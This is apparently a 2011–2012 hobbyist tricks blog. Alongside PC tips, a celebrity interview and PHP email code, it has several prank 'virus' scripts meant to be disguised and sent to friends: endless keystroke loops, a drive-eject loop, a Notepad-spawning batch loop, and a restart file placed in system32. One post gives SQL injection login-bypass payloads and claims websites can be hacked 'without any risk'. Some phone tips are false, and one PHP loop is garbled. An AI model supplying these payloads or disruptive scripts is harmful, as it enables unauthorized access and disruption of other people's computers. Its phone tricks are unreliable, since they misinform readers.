Showing posts with label Virus Programs. Show all posts
Showing posts with label Virus Programs. Show all posts

Wednesday, June 13, 2012

Make A Scary Virus to prank your friends

Make a scary virus and do fun with your friends.





Open notepad and type:

lol=msgbox ("Warning! A virus has been detected on your PC. Press YES to format your hard disk now or Press NO to format your hard disk after system reboot",20,"Warning")

Save it as virus.vbs

Open it, a message will appear on your screen "Warning!
A virus has been detected on your PC. Press YES to
format your hard disk now or Press NO to format your
hard disk after system reboot"


It's just for fun, it will not harm your computer
Read more

Virus Which Will Open and Close Your DVD-Rom

Open notepad type the following code and save it as funnyvirus.vbs

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


So how to stop it,

Go to task manager by pressing Ctrl+Alt+Delete

or by typing taskmgr in run.



Go to Processes tab, look for wscript.exe and End Process.

Read more

Tuesday, December 13, 2011

How to Create a FAKE virus


open notepad and copy d below code WITHOUT QUOTES

"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"


Save it as Filename.txt,
now scan using your Anti-Virus.

It will detect file as virus and will delete it.
Read more

Wednesday, October 05, 2011

Make your computer speak whatever you type - convert text to voice



Hello guys
I am back with a new post on text to audio trick.
This post will enable to make your computer or laptop speak anything you type, sounds cool, isn't it?. So lets do it, its very simple, little bit of coding and done. well who is telling you to type, just copy and past it in notepad and save it as .vbs.

Simple steps :

1) Open notepad (go to run and type notepad, hit enter).

2) paste the above given code in it.
Dim msg, sapi
msg=InputBox("Enter your name/anything","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg


3) save it as .VBS

Now open the file and listen to the voice.

let me know if any problem in using it.
enjoy.
Read more

Tuesday, October 04, 2011

Change background of any folder without any software

So to Change the Background of your Folders, follow the above steps .

Step 1) Copy the below code.

0[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
Attributes=1
IconArea_Image=D:\wallpapers\myimage.jpg
IconArea_Text=0x000000FF
[.ShellClassInfo]
ConfirmFileOp=0


Step 2) Change this line " D:\wallpapers\myimage.jpg " to the location of the image that you wanna use as your background.

Step 2) Paste it in notepad.

Step 3) Save the file as " desktop.ini " without quotes.

Step 4) Copy this File to the folder of which you wanna change the background.

Step 5) Refresh the folder.

and done.
Read more

Thursday, September 29, 2011

Keeping your computer virus free and secured from unauthorized users



1) Use a good licensed antivirus.
2) Scan every external disk you connect(pen-drive,portables,phones etc)
3) Scan your primary drive every day if you are a regular internet user
4) Do not open any files from internet until it is scanned.
5) Install Operating System Security Updates
6) Install Application Security Updates
7) Keep your Antivirus Software updated
8) Install a quality Anti-Spyware/Malware application
9) Don’t be an Internet Victim. There are many phishing mails asking for your password and personal details.
10) Create a unique, strong password for each of your online accounts

Will update more points. :)

Any more points which could be added ? comment and i will add to the list.
Read more

Monday, September 26, 2011

Protect Yourself on Facebook

Now a days, facebook hackers take control over the users page and send out distress calls via the "What are you doing" tab.
Criminal hackers do this by sending out phish emails that request user names and passwords. Other phish have viruses containing a remote control component.

Read more

Sunday, September 25, 2011

Prank Your Friends : Trick 3




To do above tricks :
open notepad and copy paste above code and save it as Anything.VBS.
send it to your friends :


Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

Another one :
Open Notepad continually in your friend's computer:
Trick

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.
Read more

Prank Your Friends : Trick 2



Frustrate your friend , make him mad by making this VBScript hit Backspace simultaneously:

To do this :
open notepad and copy paste above code and save it as Anything.VBS.
send it to your friends :


MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


Save it as "Anything.VBS" and send it.
Read more

Prank Your Friends : Trick 1



This trick will Open Notepad, and slowly type "Hello, how are you? I am good thanks" and freak your friend out.


To do this :
open notepad and copy paste above code and save it as Anything.VBS.
send it to your friends :


WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.


You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there
Read more

Thursday, September 22, 2011

Is your system running slow ? want to make it faster ? want to increase virtual RAM ? want to analyse and defragment it? check for errors?



This post will increase your computer or laptop speed and make your processing speed faster.

It includes to main steps .
step 1) Increase virtual Ram (Paging)
step 2) Check for errors, Analyze and defragment.


Now step 1) details
It will increase the virtual Ram .just follow the steps


Steps :--

1) Hold down the 'Windows' Key and Press the 'Pause/Break' button at the top right of your keyboard.
Another way is Right-Clicking 'My Computer' and then Select 'Properties'.

2) Click on the 'Advanced' tab.

3) Under 'Performance', click 'Settings'.

4) Then click the 'Advanced' tab on the button that pops up.

5) Under 'Virtual Memory' at the bottom, click 'Change'.

6) Click the 'Custom Size' button.

7) For the initial size (depending on your HD space), type in anywhere from 1000-1500 (although I use 4000), and for the Maximum size type in anywhere from 2000-2500 (although I use 6000).

8) Click 'Set', and then exit out of all of the windows.

9) Finally, Restart your computer.

10) You now have a faster computer and 1-2GB of Virtual RAM..!


Now step 2).

steps)

1) go to my computer

2) right click on c drive, click properties

3) click on tools tab

4) Click check now and start disk check. It will scan the system for errors.
sometimes it show , disk check will take place when you restart computer, if it show such message then click yes and it will automatically check when you restart.

5) follow step 1-4 for all drives.

6) if no message is shown then manually check for errors and then click analyze and after analyzing click defragment.

7) On your next restart you will see the changes in speed.


last step, option but do it,

go to run and type %temp% and delete all files. This are temparary files taking the disk space. Deleting files would not affect the system.some files may not be deleted so just ignore them.

Follow all this steps every week or every month for better performance from your system.

Thank you.

welbour.com
Read more

Friday, September 16, 2011

Some special tricks from command prompt/cmd if logged in through guest account



(1)If you want to open regedit and cmd when run is disabled and you are logged in as guest, you can use notepad.
open notepad and type command.com and save it as cmd.bat this batch file will open command prompt.
if you cant open regedit by run open notepad type regedit and save it as regedit.bat double click on this and regedit window will open.

(2)To abort shutdown ,use notepad
-Open notepad and type shutdown -a and save it as shutdown.bat.next time when your computer is about to shutdown double click on this bat file. for other cmd commands open command prompt and type shutdown a and press enter.

(3)cmd fun virus- open notepad and type shutdown -r 10 and save as restart.bat this will restart your computer in 10 seconds if you want to use this for fun paste this file in system 32 and see. computer will restart in every 10 second.

(4)IP command- open command prompt and type ipconfig/all.
(5)How to know your friend's ip when chatting on a messenger. suppose you are using g-talk. ask your friend for a good wallpaper you have downloaded. send this to him .Now open your cmd and type Netstat -n
Read more

Friday, September 09, 2011

Sql Injection-How to hack non secured websites





This post will show you how to hack projects/websites which are not secured and which are not using any encryption / Dycrytion algorithm to save password in database.

In place of login details enter
anything' OR 'x'='x

If website is not secured you will be logged in as admin.

IF website is secured by using MD5 algorithm,
you can try

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

By using this , you can hack in any new project or website on web without any risk.
You can also try it on your own project to check if it is secured or not.
Read more

Sunday, September 04, 2011

Send Anonymous SMS without any registration for free-160 character support


These are some of the sites available on internet , allowing to send sms anonymously to any number without any kind registration.Also providing full 160 character support.

1. Smsti.in

They provide their sms services for Indian Mobile numbers only.

2. Seasms.com

They also provide 160 character support for SMS.

3. Spicesms.com

4. Bollywoodmotion
Read more

Trick to update blank/empty status on facebook



You cannot update a blank status by simply pressing the space key.


Trick to Post Empty Status on Facebook:-

Login to your Facebook Account and go to Update Status field.
Press and hold Alt key and just type 0173.
Release Alt Key and click on share Post.
That’s all now your empty status will be update.
Read more

Sunday, August 28, 2011

Best cell phone tricks--battery down ? lost your cell ? stop receiving call ? ? wanna lock it ? ?



1. Do not want to receive calls or make your number does not exist?
Type **21*999999#, then press the green answering key. If someone is to call you, he / she will hear ‘the number you dialed does not exist’, isn’t it cool? To disable this feature, type ##21#, then press the answering key again, and everything will be normal.
2. Get your keys locked in your car and get a remote control at home?
Call home and tell anyone to press the unlock button and keep your mobile phone 1 foot away from the car, this really works.

3.Is your Battery going dead ? why don't you increase it to 50%?
Type *3370# and your cell phone is going to restart, and you can expect to see an increase of 50% in battery life level, now you can make any emergency calls. This only works for Nokia cell phones.
4. Get your mobile phone lost or stolen ?
Type *#06# and you will get your IMEI number, tell your service provider this number and they can block it. You will note get your cell phone back, but it will be useless even if the SIM card is changed.
Read more

How google adsense work ?



Many people asks, how actually Google Adsense works or pays its Publishers good and better revenues than most of other ad-networks, and what is the actual working of the system. Well, to this question i answer :

Google Adsense works on following mechanism, where i would say Google (company) has two tools,

1. Google Adwords – For Advertisers

2. Google Adsense – For Publishers

Now suppose, an advertiser like “Apple Inc” wants to advertise its products lets say ‘iPad’ and ‘iPhone’, now what happens is, Apple inc (advertiser) pays the advertising amount to Google company (ad-agency), now google with help of its own Publisher Network called “Google Adsense” pays the publishers (website owners) a Percentage of what it has got from advertiser. So in short, if Apple pays USD 100 to google inc, than google will keep USD 39 for itself, and pay rest $61 to the publishers through (Google Adsense platfrom).
So this is how it works.

Google earns more than $20 billion each year with help of just these 2 tools. $$$
Read more

Thursday, August 18, 2011

PHP Mailer Form with File Attachment



Simple to implement in your web page. Allows one file to be attached to the email.For multifile aatchment code go to this link : Multifile Attachment Performs validation of: name, email, subject and message. Also validates certain file types and maximum size. No need for PHP knowledge. The script is well commented. Form is styled using CSS.

This script is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation. This script is distributed in the hope that it will be useful, but without any warranty. I hope you find it useful.

Form Installation Instructions:

You need to include (or require) the fns.php at the top of your page. Basically copy/paste the top and bottom of the index.php to your page (whatever is within the php tags) and adjust the path/to/fns.php

Copy/paste the code within the #uploadform div to where you want it to be on your page

Change the email address in the fns.php. There are a few other variables you can adjust if you wish around the same place as the email variable
Download

Download Php Mailer Script

Read more

Wednesday, August 17, 2011

We couldn't afford rent: Hrithik Roshan



This is why i respect him...

just read it..



To understand why the star with the Greek God physique doesn't hit back, and lets people call him a pushover, read on

You've spent more time meeting people face-to-face in the promos of " ZNMD" and for your dance show than you've probably done ever in your life.
Yes, I had never hit the road earlier for promoting a movie this way, I haven't quite mastered or understood this part. I hope to learn from this experience; I am, after all, still ten years junior to the stars they put my name with. I need to gather a lot more of that before I can be mentioned in the same breath as Aamir, Shah Rukh, Salman. I am on my learning curve right now.

I remember that for my first film, "Kaho Naa... Pyar Hai", the amount of days I spent in publicity was exactly zero. I did not come in front of the camera even once. People had no reference point, they didn't know anything about me. And I've often thought that if just the promos could do as much for my very first movie, do I really need to do this much today? But the times have changed. And the only way to keep up with the times is to not dismiss these questions, but to experience things yourself, see what it is about, and then come to a conclusion.

No cynicism, no regrets after these many years in a competitive industry?
No. I think it's a very foolish thing to look back at your life and have regrets for anything that you do. You should tell yourself that at that time, for that place, I did the best with what my instincts provided me. Now you're wiser. As long as you can attach a reason to your failure, you'll learn, you'll grow wiser. But if you just sit and keep saying, 'arre yaar what did I do,' it's pointless. You have to ask yourself, what is the one thing I can learn from this experience which is a 'failure' in other people's minds? If you can do that, it no longer is a failure. It turns into feedback, and you will grow with it. So eventually, there are no failures.

Films that don't work - like "Kites" and "Guzaarish" - haven't knocked you off some superstar pedestal? Is it because you don't live in the superstar mindspace?
I don't know where that comes from. I get very, very awkward when people refer to me as a superstar - except when I am being introduced on stage where I am supposed to perform as a superstar. That I'm comfortable with, because I have the jacket and the mask of a star on. But if you introduce me, without all that, as a superstar, it unnerves me, it makes me a little uncomfortable.

You don't feel like a superstar? There are people who get your face tattooed on their bodies. Then there are people who come online and tell you to learn to act, in colourful language. How do you, non-superstar, manage these extremes, abuse and affection both?
I need to look at both of these through compassion. If a person has got my face tattooed on his back, I think that is a bit extreme. But there are situations where people may need to look up to an idea, an ideal, or a person to provide them direction in life. And if I can provide that, it's a compliment to me. But if I take it as a sign of my greatness, then I have got it all wrong. I am not a greater guy after the tattoo.

In reverse, when someone says anything bad about you, the way I look at it is - there is no truth, there is only a point of view. It depends on where you are standing. If a person tells me, 'Hey, I don't think you're a great actor, you're an idiot, you over-act,' or whatever, that's his point of view. In such a situation, I feel it's my responsibility to demonstrate that you should never counter an attack with more attack.


That's the essential path to peace. I want to feel good about myself, and so, what I do is, I type back - 'Well, I try, and now I will try harder; thank you for your feedback.' And I feel good about myself. And he relaxes, nothing has hit his ego, and so he's not going to attack any more. I have brought about peace in this war - even if it is the micro level.

This approach is why we've never heard of Hrithik, the hunk, ever getting into a fight?
I think you have to be the most foolish person, and the weakest person, to get into a fight. The only time you have to raise your hand is if there is injustice being done in the present, right there, where I am. If a lady has been wronged, then I will raise my hand. There is no other situation where you need to raise your hand.

You haven't had an ego-damage moment?
No, on the contrary, it's only through damaging the ego completely, and nullifying it, and then realizing that you're still alive, it doesn't mean anything, is when you realize it's not important. I have gone through a battery since I was five or six years old. I used to come home from school and weep through the evening, weep through the homework, because I didn't want to go to school the next day. I didn't want to go through the torment of being the guy who is laughed at all the time. I had nothing working for me. Even the fact that I was a hero's son worked against me, because of the sort of school that I was in. It was looked upon as something a little cheap.
Now, when I join the dots, I see that I had to go through all that to be what I am, to reach where I am today. The hammer that moulds the stone hurts, but it shapes you into something beautiful.

Does your wife subscribe to this no-ego ideology?
Yeah... Now she does (laughs). It's taken a lot of time. Now we are in a state where I think she understands, even looks to me for advice if she is in a situation where she feels like attacking back. I'm the one who calms her down.

But surely she must have at times said to you, 'Why don't you respond to this, why are you not hitting back?' That's the expected male response, isn't it?
Yes, there was a point of time when she felt that way. In fact, there was a particular situation in London. It was just after we'd got married, and we were walking down Leicester Square, and there were some badly behaved boys who were obviously high on something. One of them passed by her and gave her a nudge and then abused her, called her, umm, a b**ch. And instantly, she wanted to attack back, and she was physically inferior, so that infuriated her even more. She wanted me to strike back. But my perspective was different. I consider myself the peaceful warrior. If the guys hadn't passed by so quickly, I would probably have walked up to the boy and spoken to him, and made him feel good about himself so he wouldn't need to attack someone like this again.

People are carrying their own frustrations inside and they are looking for scapegoats to vent out, to get a chance to hit out, to release their own frustrations. He doesn't even know her, I've got nothing to do with him. He calling my wife that doesn't make her a b**ch, and that's the truth. If he'd passed me by and said, 'Hrithik Roshan, you don't have a right arm,' what would I say? People will either say the truth, or a lie. He will say, 'You have a right arm'; yes, I have a right arm, I'll keep walking. Or he will say, 'You don't have a right arm'; he's wrong, he's lying, and I'll keep walking. Same thing - he calls my wife a b**ch, I know she's not, I walk on. I don't need to go and bust his face, that would make me one of them. I'm above all that. I would feel defeated. I didn't give that guy what he wanted; he wanted to get into a fight, and I didn't give him that chance.

But, at that moment, she wouldn't have been too happy?
Yes, that is true. But now she understands that it was the right thing to do. Instinctive aggravation is what creates most of our warring, whether in the four walls of our house or at the world-level.

Machismo is a coveted trait in Bollywood. People must needle you over this pacifist approach?
Yes, I'm considered a pushover, I guess. I'm considered to be someone who's not strong enough. There was this one situation that I had to laugh at. We were at Shirdi, with my family inside the temple, trying to find our two minutes to pray. And there were these people from the media, simply refusing to heed my requests to give us some space, some peace. And I had to take them by the neck and simply push them out - and even as I did it, I kept saying, 'I'm sorry, but I just have to do this.' I pushed them out. And by the time I came back home, I had twenty thousand people telling me what a hero I was because I did that, because I stood up for my family - and I laughed at that. I didn't need to do that, it's not right, and you don't need to compliment that.

And there was another instance - my father had just shaved his head, and coincidentally, we were again at Shirdi. We were just entering the temple and this guy shouted, 'ai taklu', to my father. You'd expect a good son to turn around and bash up the guy. But what is he saying? He's stating the truth. My father is bald; he's calling my father bald. I love my father bald, he looks handsome! So why do I need to react to that? What's he saying? It's the tone that I'm reacting to; it's the tone that aggravates. Don't react to the tone. It's reflecting his frustration, he needs some more attention. He needs a look back from Hrithik Roshan, he needs that one moment of attention and glory - and I don't need to give that to him.

And the industry, yes, is filled with a lot of people who know more than me, in a lot of ways. But in this department, I find a lot of them behaving like schoolkids, fighting with each other - I said this to him, he said this to me - I feel that should be left back in school.

This sort of thinking is part of you?
I need these kind of thoughts. The most important thing in life is necessity. With me, with the kind of struggle I had to face, I needed these thoughts, to keep me afloat. I often felt I was in deep waters, where my feet didn't touch the ground, and there was just no support, I was drowning. So this is something that carried me, made me think of life in a different perspective. We all want to be happy but nobody is willing to do the things that will bring them happiness.


Among the things that bring happiness in today's world is money - and as a superstar you would have no deficit of it. Doesn't it make it easier to have a philosophical take on things?

I have a good understanding of how important money is. And now that I have children, I want to gather as much of it as I can, yes. But I know what it means. Money is a means to an end. For me, it is also a means to help people. I can never say no to anyone, and if I am in a position to help, I help. I have seen my father struggle for 20 years. I know what it is like to have no money at all. I have slept for four nights on the floor in a house with no furniture and not even a fan, and I remember crying to my mother that I couldn't sleep without a fan.

How old were you?
I must have been about nine. We were thrown out of our building because we couldn't pay the rent. And then for about six months, we lived at my nani's house. My father was too embarrassed to live there, and so he stayed with a friend. And as soon as he got some money, he got this place, and he just had to get us into our own place. So, for the first four nights, I slept on the floor with my family in a house without any furniture and without fans. Those are the memories that keep me grounded.

What sort of memories would your kids have? What do you share with them?
I think the poison of our world are the fairy tales that are taught to our children. There is not one fairy tale that speaks of how beautiful real life is, where there is no happy ending. It's just a journey filled with sadness, happiness - it's all there - and you have to live that and know that that's your fairy tale, how you're going to overcome every little obstacle and how it'll never end. The End is something that is a poison; the Prince Charming comes, he and the girl fall in love, The End. The End is something that never happens in real life. Even in death, there is no The End. How do you know if that's the end? You don't, really.

I personally have built a fairy tale for my children which I narrate at their bedtime. It is on a character called the Blue Light Kid. He is as old as my sons, who are three and five. I talk about all the things that my sons go through. My son came last in a race, and so I created a chapter on that, about how the Blue Light Kid came last in a race. He was in his room and a Blue Light appeared and spoke to him; he asked why he came last, though he worked hard, and the Blue Light told him that he didn't work hard enough. So he works really hard for the next race, and he again comes last, and gets really angry and says to the Blue Light that it's not fair because he worked really hard. And the Blue Light says, 'As I said, you didn't work hard enough.'

I have these chapters and talk to them about things like losing toys. I tell them that you will get excited about your toys and at some point you will also lose interest in many of them. I talk about these little things; hopefully it'll continue till I can compile it all and release it as a real life fairy tale about this Blue Light Kid.
After all, fairy tales are about a world of fantasy, but none of us live in such a world.

Reference -- http://timesofindia.indiatimes.com
Read more

Monday, August 15, 2011

Send image as attachment or an other file with email in php

Send image as attachment or an other file with email in php


This script is very useful if you thinking to send files as attachment to any email
in php.




// array with filenames to be sent as attachment
$files = array("file_1.ext","file_2.ext","file_3.ext",……);

// email fields: to, from, subject, and so on
$to = "mail@mail.com";
$from = "mail@mail.com";
$subject ="My subject";
$message = "My message";
$headers = "From: $from";

// boundary
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";

// headers for attachment
$headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";

// multipart boundary
$message = "This is a multi-part message in MIME format.\n\n" . "–{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";

// preparing attachments
for($x=0;$x$message .= "–{$mime_boundary}\n";
$file = fopen($files[$x],"rb");
$data = fread($file,filesize($files[$x]));
fclose($file);
$data = chunk_split(base64_encode($data));
$message .= "Content-Type: {\"application/octet-stream\"};\n" . " name=\"$files[$x]\"\n" .
"Content-Disposition: attachment;\n" . " filename=\"$files[$x]\"\n" .
"Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
}

// send

$ok = @mail($to, $subject, $message, $headers);
if ($ok) {
echo "mail sent to $to!”;
} else {
echo “mail could not be sent!”;
}

?>
Read more